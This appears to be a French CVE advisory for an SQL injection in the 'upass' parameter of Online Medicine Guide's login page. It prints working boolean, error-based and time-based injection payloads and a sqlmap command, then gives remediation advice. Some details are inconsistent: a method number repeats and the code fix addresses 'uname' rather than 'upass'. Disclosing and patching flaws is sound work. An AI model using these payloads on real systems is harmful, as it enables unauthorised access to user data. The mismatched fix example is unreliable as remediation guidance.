CVE-2025-60736 : Vulnérabilité d'injection SQL dans Online Medicine Guide
Résumé exécutif
Ce document décrit une vulnérabilité critique d'injection SQL découverte dans l'application web Online Medicine Guide. Cette vulnérabilité permet un accès non autorisé à la base de données et présente des risques de sécurité importants pour l'application et ses utilisateurs.
Soumis par
Produit concerné
Détails techniques
- Langage de programmation : PHP
- Base de données : MySQL
- Interface utilisateur : CSS, JavaScript
- Architecture : Pile LAMP/WAMP
2. Détails de la vulnérabilité
Classification de la vulnérabilité
- Identifiant CVE : CVE-2025-60736
- Type de vulnérabilité : Injection SQL
- Gravité : Critique
- Score CVSS : 9,8 (Critique)
- Vecteur d'attaque : Réseau
- Complexité de l'attaque : Faible
- Privilèges requis : Aucun
- Interaction utilisateur : Aucune
- Portée : Modifiée
Analyse de la cause racine
La vulnérabilité provient d'une validation et d'un assainissement insuffisants des entrées dans le fichier /login.php. L'application concatène directement les entrées utilisateur du paramètre upass dans les requêtes SQL sans assainissement approprié ni instructions préparées.
Cause racine technique :
- Concaténation directe de chaînes dans les requêtes SQL
- Absence de validation et d'assainissement des entrées
- Absence d'implémentation d'instructions préparées
- Liaison de paramètres insuffisante
3. Preuve de concept
Emplacement de la vulnérabilité
- Fichier :
/login.php
- Paramètre :
upass (POST)
- Vecteur d'attaque : Manipulation de requête HTTP POST
Méthodes d'exploitation
Méthode 1 : Injection SQL basée sur les booléens
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Méthode 1 : Injection SQL basée sur les erreurs
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Méthode 2 : Injection SQL aveugle basée sur le temps
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
Tests automatisés
La vulnérabilité a été confirmée à l'aide de sqlmap :
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

- Correctif d'urgence : Implémenter la validation des entrées pour le paramètre
upass
- Surveillance de la base de données : Activer une journalisation complète des activités suspectes
- Restriction d'accès : Implémenter une limitation de débit et des restrictions basées sur l'adresse IP
- Audit de sécurité : Réaliser une évaluation de sécurité immédiate
Exemple de correctif de code
Avant (vulnérable) :
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
Après (sécurisé) :
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
Implémentation des bonnes pratiques de sécurité
- Instructions préparées : Utiliser exclusivement des requêtes paramétrées
- Validation des entrées : Implémenter une validation basée sur une liste blanche
- Encodage des sorties : Encoder correctement toutes les données de sortie
- Gestion des erreurs : Implémenter une gestion sécurisée des erreurs sans divulgation d'informations
- Contrôles d'accès : Implémenter une authentification et une autorisation appropriées
Version du document : 1.0
Dernière mise à jour : 03/10/2025 (jj/mm/aaaa)